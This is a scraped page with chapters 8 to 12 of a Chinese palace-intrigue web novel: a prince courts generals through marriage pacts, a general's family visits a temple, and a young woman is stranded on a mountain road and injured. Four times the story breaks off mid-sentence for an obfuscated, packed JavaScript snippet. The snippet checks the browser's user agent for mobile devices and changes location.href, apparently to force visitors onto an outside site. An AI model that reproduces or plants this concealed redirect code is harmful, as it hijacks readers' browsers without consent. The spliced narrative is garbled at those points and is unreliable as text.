鲁王越说越觉得自己的话有道理,腰杆子也跟着重新硬了起来。 而葛山的话虽然有拍马屁之嫌,但一众幕僚看到鲁王吃葛山这一套后,急忙也跟着有样学样,找尽各种理由将鲁王与盛武帝拉扯上关系。 就连卫王膝下只有两个女儿,而鲁王却是有三个儿子的事情,都可笑地成为了鲁王比卫王刚强勇武的佐证之一。 8. 第 8 章 经过幕僚们的讨好和吹捧,鲁王的信心慢慢得到了恢复。 但是,盛昭帝只让魏平赏赐了卫王,但却无视了他的这件事,还是让鲁王感到心中沉甸甸。 鲁王对盛昭帝这个选择感到很是不满,可也不敢直接表现出自己对盛昭帝的意见。 他只能将怒火迁移到魏平和卫王身上,尤其是卫王这个死对头。 他和幕僚们在书房里聊了许久,但一时间,却也商议不出什么能够有效针对卫王的办法。 眼见鲁王又要大动肝火,这时,葛山适时地开口道: “王爷,其实眼下还有一件事,属下觉得也是重中之重!若是能处理好这件事,属下心想,卫王到时候绝非是我们的敌手!” 听到葛山这么说,鲁王顿时心生好奇: “葛先生,你赶紧给本王说说,什么事情这么重要,竟然连卫王都能处理掉!” 葛山摸了摸八字胡,在众人的注视下,提醒说道:“诸位莫不是忘了,西北边军今天才班师回朝呢!” 葛山深知自己已经上了鲁王这条船,如今船航行到了湖中央,他想要中途下船,显然是不现实的事情了。 他唯一能做的事情,就是用尽一切手段帮着鲁王取胜。 葛山望向鲁王,目光沉沉地说道: “王爷,若是能将霍英和凌戈他们西北边军的势力拉拢到咱们这边,我想,就算是再来十个卫王,咱们都恐怕不用忧虑什么。” 卫王那边一派,主要都是拿笔杆子的文人势力,平素和武将并没有什么来往。 而鲁王这边,虽然他麾下确实拉拢了几名武将,但出于对盛昭帝的忌惮,他过去也不敢有太大动作,所以那几名武将都是低级武官,在朝中并没有太大的威望和势力。 所以,鲁王在听到葛山提起霍英和凌戈后,他也对葛山的提议心动了。 不过,很快,他又面露纠结,朝葛山说道: “葛先生,几年前我父王还在世时,他曾经也试着想帮我拉拢霍英,但霍英他那人就是个不识相的榆木疙瘩,压根不接我父王伸过去的橄榄枝!” 葛山闻言,嘴角往上扬起,悠悠说道:“王爷,这个世界上,从来就没有拉拢不了的人,只是看筹码足不足够打动人心罢了。” 葛山望向鲁王,说道:“以霍英和凌戈他们如今的位置,寻常筹码肯定打动不了他们,但是若我们能以大利许之,不愁他们不会动心!” 见鲁王看向自己,葛山知晓鲁王此刻绝对头脑空空,他也没再卖关子,直接就朝鲁王说道: “属下之前特意打听过,霍英的二儿子目前膝下仅有一个女儿,且这个女儿与咱们府中三位小公子的年龄都相近。” 葛山看着鲁王说道,“属下心想,若是王爷能许诺霍英家一个太子妃的位置,想必霍英应该会考虑一二。” 鲁王如今正是迫切需要拉拢霍英的时候,因此一听到葛山这么说,他顿时是点头如捣蒜: “这没问题,也就是霍英他没有女儿,不然让我许诺他女儿一个皇后的位置都行!” 虽然鲁王早已有王妃,但幕僚们听到鲁王这话,脸上却是半点意外都没有。 因为,他们的想法也和鲁王差不多。 在他们眼中,成大事者,不拘小节。 只要鲁王能夺得皇位,登上宝座,那么委屈一下王妃,让王妃适当做点牺牲也是应该的事情,王妃应该识大体,知进退才对。 而鲁王说完那话以后,又朝葛山问道:“葛先生,霍家的问题解决了,那凌戈呢?凌戈现在可比霍英还重要,他手上还掌握着西北边军的兵权呢!” 葛山:“王爷,鲁嘉公主的婚事,老王妃应该还没定下吧?” 葛山口中的鲁嘉公主是鲁王同父同母的亲妹,今年16岁,这两年正在相看婚事。 而鲁王一听到葛山提起鲁嘉公主,顿时眼睛一亮: “不错,葛先生你这主意提的好!我记得那凌戈也还未婚吧,那他和鲁嘉正好相配!” 解决了拉拢霍英和凌戈的“大利”,鲁王顿时感觉心头一阵轻松。 他急忙让葛山帮自己起草两封请帖,分别送去给霍英和凌戈。 鲁王想要和霍英以及凌戈来一次单独的暗中会面。 而翌日下午,收到鲁王请帖的凌戈,出现在了霍英将军府中的书房里。 向来以严肃形象示人的霍英,在面对凌戈这个义子时,神情却很是放松自然。 看到凌戈拿出请帖来,靠坐在太师椅上的他,直接笑了起来: “你小子现在也真是出息了,人家连拉拢,都不忘单独给你发一封请帖。” 凌戈笑着坐到旁边的椅子上,随手就将请帖抛到桌案上: “义父,我可没打算去赴约。” “怎么,你不觉得他会是盛武帝?”霍英面含笑意地问道。 凌戈挑了下眉,看向霍英,“难道义父你觉得他是?” 霍英顿时朗笑出声,然后又朝凌戈感慨道: “圣上这一招鹬蚌相争,用的实在是精妙。” 凌戈闻言,也不由赞同地点了点头: “接下来这段时日,卫王和鲁王的注意力肯定都会放在彼此身上了。” 凌戈说罢,又望向霍英,他突然压低声音:“义父,我昨夜收到情报,宗室那边似乎有点不寻常。” 霍英早就知道凌戈在京师有经营自己的消息渠道,因此听到凌戈这么说,也并不惊讶。 他朝凌戈道:“圣上向来对孟相信赖有加,昨日又特意留了孟相在宫中商谈。你说的这事,应该和孟相离不开关系。” 凌戈嘴角往上扬起,露出轻松的笑容:“如果可以,真希望孟相能早些找到那位盛武帝啊。” 霍英也笑了,“谁说不是呢,连我都对他充满好奇。” 和盛昭帝、孟谦一样,凌戈和霍英也认为盛武帝应该是其他宗室子弟。 而因为找寻盛武帝的任务已经被托付到了孟谦头上,霍英也因此放心了不少, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340510|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得盛武帝的人选应该很快就会水落石出。 “扣扣!” 敲门声这时突然响起。 而伴随着敲门声的,是霍英夫人于珍在门外的声音:“老爷,我让厨房炖了百合莲子汤,你和凌戈商议完事情,就出来和大家一起喝一碗。” 听到于珍的招呼声,霍英和凌戈都立刻从椅子上站了起来。 霍英笑着走过去拉开房门,朝于珍说道:“劳烦夫人亲自跑一趟喊我们父子二人了。” 于珍常年生活在京中,她自打得知霍英他们要班师回朝的消息后,这段时日就一直是满脸笑意。 所以,听到霍英的话后,她当即笑吟吟道: “就是走几步路的事情,有什么劳不劳烦的。你和凌戈是办完正事了吗?” 霍英轻轻点了点头,然后转头朝凌戈笑着说道: “你小子今天可是有口福了!咱们府上厨房的赵厨娘,可是你义母她从娘家带过来的老人,手艺很是了得!” 凌戈眉眼含笑:“连义父你这么不重视口腹之欲的人,都夸手艺了得,看来我今天确实是要大饱口福了。” 听到霍英和凌戈这么一唱一和,于珍被逗得脸上不禁露出高兴的笑: “你们父子俩,可别再说好听话哄我了。我娘家又不是什么高门侯府,哪请得来什么厨艺高人?赵厨娘她的手艺虽然合我口味,但也就是家常菜手艺,没什么特殊之处。” “这可巧了,我和义父在西北的时候,最想念的就是家常菜的味道。”凌戈笑着朝于珍说道。 “那你今后若是有空,就常过来这边,我让赵厨娘多做些你喜欢吃的菜!” 于珍说到这,又突然忍不住叹了口气:“可惜你不能住在府里,我本来都已经让人给你收拾好了院子,就等着你和你义父一起回来呢。” 凌戈原本在京中并没有购置住处,但昨天盛昭帝给他赐了座将军府后,他自然得入住府中,以显示他对盛昭帝的尊敬。 于珍的性格很是善良和包容,凌戈看得出她并不是在跟自己说客气话。 从于珍的身上,凌戈看到了自己这一世生母的影子。 他笑着朝于珍道:“您无需叹气,我住得离这边如此近,也就几步路的距离。往后您这边做了什么好吃的,我那边只要一闻到味道,我肯定就第一个上门来敲门蹭饭吃!” 霍英闻言,哈哈大笑:“夫人,看来你可得跟赵厨娘说一声,以后下米得多下些,这小子饭量可不小!” 于珍脸上也染上了笑意:“能吃是福,这可是好事来着。对了,凌戈,你后天有事情吗?” 于珍望向凌戈说道:“我先前在京郊的大恩寺那边为你们供了几盏长明灯,祈愿你们在外能够平安健康。现在既然你们回来了,我就想着,该去寺里还愿下才行,感恩我佛大慈大悲。” 凌戈其实是个坚定的无神论者,但面对于珍的这番善意,他却是立刻笑着应了下来: “我后天没事,可以和大家一起去!” 9. 第 9 章 去大恩寺的这一天,阳光明媚,微风徐徐。 凌戈和霍英骑马在车队前头,于珍和儿媳妇秦芝、孙女霍舒怡则是坐在马车中。 凌戈和霍英耳力都很是过人。 听到身后马车中不时传来霍舒怡那稚嫩轻快的笑声,俩人脸上的神情不由都染上了笑意。 霍英笑罢后,更是转头看向凌戈,说道: “我看你也不是不喜欢孩子的人,得抓把劲找个媳妇了。青川那小子虽然别的方面都比不上你,但至少在结婚这件事上,我没替他操过半点心。” 霍英口中的青川,是他和于珍的二儿子,今年25岁。 霍青川这次并没有跟着一起回京,而是仍然镇守在边关那边。 而霍英之所以说他不用替霍青川的婚事操心,是因为秦芝的父亲原来是霍英的老下属。 霍青川从小便和秦芝相识,俩人是多年的青梅竹马。 秦芝是在女儿一岁时,才带着女儿从边关搬到京师,和婆婆共同居住在将军府中。 凌戈对于霍英的催婚,早已习以为常。 毕竟他虽然现在才19岁,但在霍英他们这些老一辈的人眼中,已经属于是晚婚的年纪了。 凌戈目前对结婚这件事并不感兴趣,他不希望草率地走进婚姻之中。 所以,对于霍英的话,他索性选择当作没听到,转过头,装作注意力被路边风景突然吸引过去的模样。 霍英看到凌戈这副混不吝的模样,顿时气得忍不住狠狠瞪了他一眼: “你这个臭小子,要不是这会人多,我非得抬腿踹你一脚不可!” 凌戈闻言,忍不住笑了,回过头朝霍英道: “义父,你可就别操那么多心了!你难道就没听说过,儿孙自有儿孙福这句话吗?” 霍英直接朝他重重哼了一声:“你给我安静,我现在不想听你在我耳边叽叽喳喳!” 凌戈:“得嘞,那我给你点时间冷静冷静。” 听到凌戈这话,霍英瞬间更是气不打一处来,直接朝凌戈翻了个白眼,都懒得再和凌戈说话。 抵达大恩寺门前后,凌戈和霍英下了马,拜托寺里的和尚帮忙把马牵到马厩那边。 于珍和秦芝、霍舒怡以及府中的嬷嬷、婢女们,也纷纷从三架马车上面下来。 虽然于珍和霍英常年分隔两地,但于珍对霍英的性情,其实格外了解。 看到霍英绷着一张脸,一副憋着气的模样,于珍便朝他好奇问道: “发生什么事了,刚才出门时看你还好好的呢。” 听到于珍询问,霍英顿时就像是倒豆子一般,把刚才路上的事情全都跟于珍转述了一遍。 于珍听完后,却是乐得直笑。 霍英看到于珍这个反应,瞬间一脸的不解和疑惑: “夫人,这有什么好笑的?他这兔崽子要是再不结婚,那好人家的女儿都得被人抢走了!夫人难道没听说过,一家好女百家求吗?” 于珍笑着朝霍英说道:“那你难道不知道,强按牛头不喝水这个道理吗?” 于珍对凌戈的婚事很是放心,她望向霍英道: “老爷,你就别瞎操心了。我跟你保证,凌戈这孩子如果哪天打算结婚了,那咱们将军府的门槛指不定都要被那些媒婆给踏破了!” “你们应该还不知道吧?”于珍朝霍英和凌戈道,“在你们没回京师之前,就已经有不少人家托媒婆上门来询问过凌戈了。但我想着,这事到底还是得看合不合凌戈的眼缘,所以就先婉拒了那些媒婆,说等凌戈回来再考虑这事。” “罢了罢了,既然夫人你都这么说了,那我也懒得管这浑小子的事情了!” “君子一言,驷马难追。既然义父你自己亲口这么说了,那以后可不准再拿这事说我了。” 霍英本来是想玩“以退为进”这一招,看看能不能让凌戈对结婚这件事上心起来,却没想到凌戈压根不吃这套,反而还拿捏了自己。 他顿时气得感觉手都痒了起来,很想给凌戈来上那么一下子。 而凌戈和于珍等人看到霍英被噎得当场说不出话来的模样,霎时间又都忍不住笑出了声来。 “贫僧冒昧打扰几位施主了。” 听到突然有陌生说话声响起,凌戈转头朝声音方向看去,是一个身着朴素灰布僧袍的老僧人。 老僧人手持佛珠,神态平和,明明相貌看起来朴实无华,但人们在望到他的第一眼,却会不由自主感到一阵心神宁静。 凌戈目光探究地看向那老僧人。 那老僧人却朝凌戈微微一笑,声音似檀香般质朴 : “难怪后山那颗枯萎的老银杏树今日突然长出了嫩芽,原来是有凌施主你们这些贵客登门。” 听到老僧人对自己的称呼,凌戈好奇问道:“老师父,您认识我?” 老僧人淡笑:“凌施主与霍施主那日班师回朝时,贫僧恰好在百姓之中,因此有幸一睹您二位的英姿风采。” 听到老僧人提及自己,霍英便朝凌戈介绍道:“凌戈,这位便是大恩寺的虚真法师了。” 霍英二十年前在大恩寺见过虚真法师一面,因此还认得出他。 而凌戈心中,其实早就对老僧人的身份有所猜测。 现在见霍英的话验证了自己心中的想法,他当即朝老僧人行了个合十礼,谦虚说道: “大师客气了,凌戈今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虚真法师捻动手中佛珠,微微垂目,整个人霎时间透出一种超尘脱俗的宝相之感。 凌戈、霍英等人都好奇地看着他。 半晌后,他嘴角突然微扬,抬眸望向凌戈,眼神中带着温雅慈悲的笑意: “云开见日,光照乾坤;澄心观己,良缘可期。” “凌施主,您与那位女施主乃是难得的天作之合。” 虚真法师说话间,又朝凌戈行了个合十礼,他缓缓说道:“贫僧在这,便提前跟您道一声喜了。” 霍英和于珍等人听到虚真法师这么说,瞬间都忍不住替凌戈感到开心。 霍英更是猜测道:“我记得这小子在西北那边时,还挺受姑娘家欢迎的,难道会是西北那边的孩子?” 而虚真法师听到霍英的话后,只是笑了笑,并没有给出确切的答复。 10. 第 10 章 在虚真法师的带领下,凌戈等人进到了寺中烧香还愿。 难得到京郊一趟,再加上如今正处于初秋时节,大恩寺的风景别有一番秋意韵味,于珍便想带儿媳妇和孙女在周围走走,顺便散散步。 而霍英则是在虚真法师的邀请下,与他下起了围棋来。 凌戈一开始还耐着性子看了两局。 但是,他确实对围棋兴趣不大,所以在和霍英以及虚真法师说了一声后,他便往寺庙后山那边走去。 凌戈打算去看下,虚真法师口中那棵长出嫩芽的枯萎老银杏树是什么模样。 不过,还没等他走到那银杏树的生长位置时,凌戈走在竹林间的脚步,却骤然停下了。 他目光似箭,直直地穿过隐隐绰绰的竹影。 竹林外,孟雪姝独自一人走在上山的道上,虽然如今气温微凉,她秀气的额上却沁出了许多细汗。 在这里碰到孟雪姝,是凌戈意料之外的事情。 飘在凌戈身边的小蓝球系统,也感到一阵惊喜,兴奋地朝凌戈喊道: “凌戈,是之前那个在茶楼上帮你说话的女孩子呢!” 凌戈在心中轻轻“嗯”了一声。 他迈开脚步,正打算继续往竹林深处走去时,孟雪姝却似乎是敏锐地感受到了凌戈注视的目光,眼神突然充满警惕地朝竹林中凌戈的位置望了过来。 凌戈没想到会在这时与孟雪姝对上视线,他犹豫了一瞬后,朝她轻点了下头,以示问候的意思。 而孟雪姝在看清竹林中的人是凌戈后,眼神中也闪过了一抹惊讶。 但同时,她紧绷着的脊背,却也微微放松了一些。 “咔嚓”,“咔嚓”……凌戈踩着松脆的枯叶,从竹林里走了出来。 望着凌戈的身影慢慢由远及近,孟雪姝忍不住抿了抿唇。 她有些犹豫不决,不知该如何向凌戈解释自己现在窘迫的状况。 然而,凌戈在走出竹林后,却并没有再望孟雪姝一眼,他与孟雪姝拉开了几米远的距离,独自走在了孟雪姝的前面。 孟雪姝从意识到自己被车夫故意抛在半路的山道上时,垂落在衣袖内的右手,便一直暗暗握着把玉钗防身。 但此刻,望着凌戈那挺拔如松的背影,她心中却突然多了一份安定。 原本充斥在她胸膛中的那些浓郁惶恐与不安,也都因为凌戈释放的善意,而慢慢消散了许多。 孟雪姝慢慢跟在凌戈的身后,与他保持着不近不远的距离。 小蓝球系统因为孟雪姝之前帮凌戈说话的缘故,所以对孟雪姝的印象很好。 他仗着孟雪姝看不到自己的缘故,便像是只小蜜蜂一样,很是兴奋地在孟雪姝的身边飞来绕去。 结果这一飞,小蓝球系统就发现了不对劲的地方,他朝凌戈大声呼喊道: “凌戈,她左脚走路的姿势有点不对劲,好像是扭到脚踝了。” “嗯。” 看到凌戈的反应如此冷淡,小蓝球系统顿时急了,飞到凌戈耳边,喊道: “凌戈,你刚才是不是没认真听我说话?我说她扭到脚踝了!” 凌戈忍不住在心中叹了口气:“我听到了,但她并不需要我帮忙搀扶。” “哈?”小蓝球一脸懵地看着凌戈。 凌戈瞥了系统一眼:“你有听到她开口向我们求助吗?” 小蓝球摇了摇头,“没有,是我看她走路脚步有点一轻一重,这才自己发现的。” 凌戈:“她连崴了脚都不想让旁人看出来,还特意装得行动无恙的模样,你觉得她这是有想让我们帮忙搀扶的意思吗?” 小蓝球一脸不解:“她怎么这么奇怪啊?既然受了伤,那向我们请求帮助,难道不是很正常的事情吗?” 凌戈没有回答小蓝球的问题。 因为他上一辈子在部队里,就碰到过不少这样的战友。 他们性格要强、骄傲、坚韧,永远都不愿意朝人示弱,所以就算胳膊折了都要往袖子里藏,强撑着装作没事。 再加上,他现在所处的这个古代世界,又格外讲究男女授受不亲。 所以,他能做的,就是尊重孟雪姝的选择。 如果不是意外被孟雪姝看见,他本来都没打算惊扰孟雪姝。 但在孟雪姝已经发现自己的情况下,为了避免孟雪姝一路惶惶不安,担心他何时会从身后冒出来,他索性选择走到了孟雪姝的身前,将自己毫无防备的后背交给孟雪姝,以此来换取孟雪姝的信任。 静谧的山路上,微风拂过竹林,带来了竹叶清苦的宁神香气。 凌戈和孟雪姝就这样一前一后,默默安静走着。 但当大恩寺的大门出现在视野尽头时,凌戈却是脚步一转,径直走进了旁边的竹林中。 望着凌戈的身影慢慢消失在竹林深处,孟雪姝心中突然感到一阵难以言表的复杂情绪,感激之中,又夹带着几分不知是怅惘还是茫然的情绪。 她抿了下嘴角,压下心中此刻的情绪,把手中握着的玉钗,重新插回到了头上的发髻中。 确认自己仪容上没有任何可被指摘的地方后,她缓步朝寺庙大门那边走了过去。 不过,还没等她走到大门那边,就已经有一群人乌泱泱地从大门里走了出来。 看到向来仪表得体的孟雪姝,此刻额上尽是细密的汗珠,孟雪琪脸上瞬间露出了幸灾乐祸的笑容。 而孟雪琪她娘许静,则是做出一副惊慌模样: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340512|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “天啊,雪姝你这孩子怎么没在原地等我们叫人去接,而是自己走了上来呀?” 孟雪姝眼神冷淡地看了一眼许静。 许静这事又摆出一副替孟雪姝愤怒的表情:“雪姝,你放心!事情我已经查清楚了,都怪那马车夫粗心大意,竟然忘了你还没上车,就自顾自地把马车赶了上来!” 孟雪姝之所以在山路上半道下车,是因为车夫跟她说马车出了意外,突然走不动了。可等她下了车,那车夫装模作样地捣腾了一下车子,随后就挥鞭驾着马车走了,好似根本没注意到孟雪姝还没上车。 而看到许静做出如此反应,孟雪姝半点都没觉得意外。 她早在刚才上山时,就已经料到了这个结果。 许静在知道这件事后,唯一会做的事情,就是替女儿孟雪琪遮掩。 许静望向孟雪姝:“雪姝,你这次真是受苦了,二叔母肯定会替你主持公道的!等回去后,我就立刻将那车夫打发到庄子去,以后再也不准他来府里伺候了!” 孟雪姝冷冷望向许静,她声音清脆地问道: “只是车夫的问题吗?吴嬷嬷和晴芷为什么会在临出门前,却突然被人喊走?为什么还没等她们回来,孟雪琪就嚷着让车队赶紧动身?还有,为什么就我那辆马车会突然脱离大部队,落在了最后面?” 许静被孟雪姝问得表情有点讪讪,但孟雪琪却还是很理直气壮的模样: “孟雪姝,你这是什么意思?你是想说,是我故意指使那车夫的不成?” 孟雪姝瞥了她一眼,没说什么,而是迈开步子走进了寺庙。 她这次来大恩寺,主要是想帮祖母上香祈福,盼望佛祖能保佑祖母的风寒早日痊愈。 而孟雪琪的性格刁蛮任性,脾气上来后,更是会各种胡搅蛮缠。 孟雪姝暂时不想让这些杂事扰了佛前的清静。 孟雪姝的暂时避让,看在孟雪琪眼中,那就是孟雪姝已经默认自己吃了这个哑巴亏。 她脸上顿时更是扬起了灿烂的笑容,觉得自己可算是出了孟雪姝上回在清风楼时害她丢脸的那一口气。 因为孟家的女眷每次过来都是一大群人,所以寺里都会特意为她们准备好一座院子,以供她们休息歇脚。 在佛前上完香后,众人便移步到了禅房里休息。 而正当大家都坐在桌边品茶时,守在门外的粗使婆子却进来朝许静禀告,说忠勇侯夫人听说孟家的人今天也在这,便想带着儿媳和孙女过来坐一坐。 听到平日里很少打交道的于珍竟然要上门来,许静虽然心中感到疑惑,却还是立刻就答应了下来。 而一直神色冷淡的孟雪姝,在听到于珍要过来的消息后,睫毛不由轻轻颤了一下。 11. 第 11 章 在盛昭帝将霍英封为忠勇侯后,于珍自然也水涨船高,成为了侯爷夫人。 所以,当她带着儿媳妇秦芝和孙女霍舒怡过来时,许静已经带着孟家的女眷们都等候在了院门口。 双方互相寒暄了一番后,许静便引着于珍她们往院里走。 不过,就在大家进入禅房,纷纷落座后,于珍却突然望向坐在她左下方的孟雪姝,轻声询问道: “孟大姑娘,我看你刚才走路时,左脚似乎有些吃力,可是伤到了哪里?” 于珍从前很少参加各家女眷组织的茶会或者赏花宴,所以孟雪姝从前虽然在一些重要宴会上远远看过她几回,但却还从来没和她打过交道。 现在听到于珍突然关心起自己的左脚来,孟雪姝脑海中顿时浮现出了一个人的身影来。 她下意识攥了下手中的青色丝帕,眼神犹豫了一瞬后,还是朝于珍轻轻点了下头: “劳夫人关心,只是不小心崴了一下脚而已,并没有什么大碍。” 于珍闻言,朝孟雪姝笑了笑:“崴脚看似是小伤,但其实可大可小。这样吧,我让耿嬷嬷帮你看一下可好?她家里祖上是军医,所以在治跌打扭伤这方面,她也算是有些经验。” 看到于珍如此好意,孟雪姝自然是不好意思再拒绝:“那就劳烦夫人和嬷嬷了。” 于珍笑着摆了摆手:“不客气,照顾你们这些小辈,本来就是我们这些长辈的份内事。” 她说罢,站在她身后的耿嬷嬷,随即走到了孟雪姝的面前。 因着屋内都是女眷,没那么多顾忌,耿嬷嬷便让孟雪姝坐在原处,她蹲下身,将孟雪姝垂落的裙摆微微提起。 当看到孟雪姝纤细的左脚脚踝处,竟肿起个青紫色的骇人大包,耿嬷嬷不禁皱了皱眉头。 而起身过来查看情况的于珍也吓了一跳:“怎么伤得如此厉害?” 孟雪姝看到那肿胀的大包,自己心中也被惊到了。 她刚才不方便将裙子挽起来,所以就一直忍着没去查看脚上情况。 “天啊!”许静这时也突然惊呼了一声,“雪姝,你这孩子怎么嘴这么严,脚上有伤也不和我们说!” “许夫人,这也怪不得孩子……”于珍帮着孟雪姝说话道,“姑娘家贴心又懂事,估计是怕咱们大人跟着担心,所以这才没特意提。咱们做长辈的,以后对孩子多上些心就是了!” 许静刚才那么说,本是想把孟雪姝受伤的责任往外推,却没想到,反而被于珍暗暗点了一句,提醒说让她以后应该对孟雪姝上心些。 许静心中暗自恼火,但却还得强挤出一抹笑,“于夫人,您说得对,我以后肯定对雪姝更加照顾。” 于珍和许静说话间,耿嬷嬷已经上手细细检查孟雪姝左脚的情况。 随后,她皱着的眉头微微松开,朝孟雪姝温声说道: “姑娘不必太过担忧,万幸没伤着骨头,等把淤血化了,这个包也就能消下去了。” 孟雪姝闻言,轻轻点了下头,柔声道:“多谢嬷嬷费心。” 耿嬷嬷笑了笑,然后站起身,望向于珍道:“夫人,咱们马车的匣子里正好备有一罐活血化瘀的药膏和绷带,我现在就去把它们拿过来。” 于珍点头:“去吧,麻烦嬷嬷你走一趟了。” 等到耿嬷嬷拿着药膏和绷带回来后,为了方便上药和包扎,孟雪姝便被婢女搀扶着,坐到了里间的榻上。 而于珍和许静等人,则是依然留在外面。 尽管许静对于珍刚才帮着孟雪姝说话的行为感到不满,但她这会,对于珍的态度却是非常和煦,甚至称得上是热情。 孟雪姝虽然人在里间,但也能清晰听到她们在外面的对话内容。 所以,对于许静此刻的表现,孟雪姝心中不由感到有些疑惑。 因为她知道许静向来是那种“用人朝前,不用人朝后”的性格。 现在,许静对于珍的态度如此热络,背后必定是有所图谋。 正当孟雪姝在心中思考许静的意图时,坐在外面的许静开了口: “于夫人,听闻您那位义子凌戈凌将军,素有英勇无双的名声,不知他今日可否有跟你们一起同来?若是有的话,我还真是想看看他这位年少有为的大将军是何等风采!” 听到许静这番话后,孟雪姝眉头不由紧蹙了起来。 她感觉自己好像猜到了许静的心意。 耿嬷嬷这时已经给孟雪姝的脚踝上好药膏,正在用绷带包裹住伤处。 注意到孟雪姝突然蹙起眉头,她以为是自己的力道太重,弄痛了孟雪姝,便轻声朝她安抚道:“姑娘,您再忍上一会,我很快就能包扎好了。” 耿嬷嬷的说话声,将孟雪姝的心神从外面唤了回来,她轻轻摇了摇头:“我没事的,嬷嬷,您按照您的速度来就好了。” 虽然孟雪姝这么说,但耿嬷嬷还是觉得她是在跟自己客气,于是悄悄加快了手中的速度。 而孟雪姝在和耿嬷嬷说完话后,心神不由又飘到了外面。 于珍对于许静突然提起凌戈的行为,心中也感到很是诧异。 不过,她很快便笑着婉拒道:“这里这么多小姑娘,我们家凌戈到底是个男子,还是别让他过来了,免得惊扰到了姑娘们。” 听到于珍这回复,许静顿时就明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340513|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白,于珍并没有打算让凌戈与自家女儿相看的意思。 否则的话,她和于珍这两个长辈都坐在这里,凌戈只是进来问下安,这事就算说出去,也不是什么大不了的事情。 京师多少人家帮闺女相看对象时,用的都是这样的理由。 而孟雪琪早在她娘许静提到凌戈时,就已经拉下了一张脸来。 现在听到于珍的话后,她顿时更是整张脸都阴沉了几分。 不过,坐在里间榻上的孟雪姝,听到于珍拒绝的话后,心中却是不由松了一口气。 虽然孟雪琪是自家堂妹,但孟雪姝凭良心讲,却是觉得孟雪琪除了家世外,其余地方都着实配不上凌戈那样好的人。 在帮孟雪姝包好脚上的绷带后,耿嬷嬷便起身出了里间。 而于珍看到耿嬷嬷出来后,过了一会,也起身向于珍提出了告别。 送走于珍等人后,孟雪琪还没等禅房的门关上,就已经气得狠狠拍了下桌子,大骂道: “简直是岂有此理!那个凌戈不就是一个臭泥腿子吗?我还没嫌弃他呢,他反倒是敢先看不起我来了!” 许静也觉得心里有些窝火。 她本来看到于珍主动过来,还以为于珍会不会是想着要来和她家结亲,结果她才刚提了一嘴,于珍就直接让她碰了个壁。 不过,见女儿如此恼怒,许静又怕她气坏身体,于是便安慰她道: “罢了,反正你之前也瞧不上他。错过了你,是他最大的损失,他以后保准会悔得肠子都青了!” 顾忌着这里还有孟雪姝以及三房、四房的那三个闺女在,许静便没把自己此刻心中的想法拿出来跟孟雪琪商量。 她原本相中凌戈,是觉得以凌戈的能耐,以后未必不能像霍英那样,替妻子挣来个侯爷夫人的名头。 但既然凌戈那边无意,许静自然也不可能干出拿热脸贴冷屁股这种事来。 许静现在心中在盘算着另一个人选。 虽然卫王比孟雪琪大将近10岁,且已经有正妻,但许静却觉得,就算是给卫王当侧妃,也未必不是一个好选择。 卫王那个正妻身体孱弱,且又一直生不出儿子来,而她的女儿孟雪琪却是年轻貌美,如果能嫁进王府,肯定不愁恩宠。 等到她女儿再替卫王生下个儿子来,那等卫王登基成为盛武帝后,她的女儿也不是没资格争一争皇后的位置。 如今坊间大多传言,都认为在卫王和鲁王之中,卫王十有八九会是盛武帝的人选。 许静也是抱着这样的看法,所以才会萌生出如果做不成凌戈的正妻,就让女儿嫁进卫王府做侧妃的这个念头。 12. 第 12 章 于珍带着儿媳妇和孙女回到她们刚才休息的那个禅房。 她坐下后,忍不住就叹了口气,朝儿媳妇秦芝感慨道: “这孟家大姑娘真是不容易,受了伤还得强撑着。若是她父母还健在,看到刚刚那一幕,不知道得有多心疼孩子。” 秦芝闻言,也叹息了一声,然后轻轻摸了摸依偎在她怀中的女儿头顶。 作为一个有女儿的母亲,她在看到孟雪姝脚踝上肿着的那个大包后,也都感到一阵于心不忍。 世人都说女孩子娇弱,可秦芝却觉得,即使是自诩坚强的男儿,在那样的疼痛下,应该也很少有人还能做到面不改色。 霍舒怡虽然聪慧,年纪却还小,只有5岁,尚且不理解母亲和祖母为何突然多愁善感了起来。 她只听得出于珍和秦芝是还在聊刚才的事情,便很是兴奋地朝于珍夸道: “奶奶,你刚才可真厉害,竟然能看出来那个姐姐脚上有伤,简直就像是孙大圣的火眼金睛!” 霍舒怡最近很喜欢听孙大圣的故事,对孙大圣崇拜得不行,恨不得自己也能像孙大圣一样厉害。 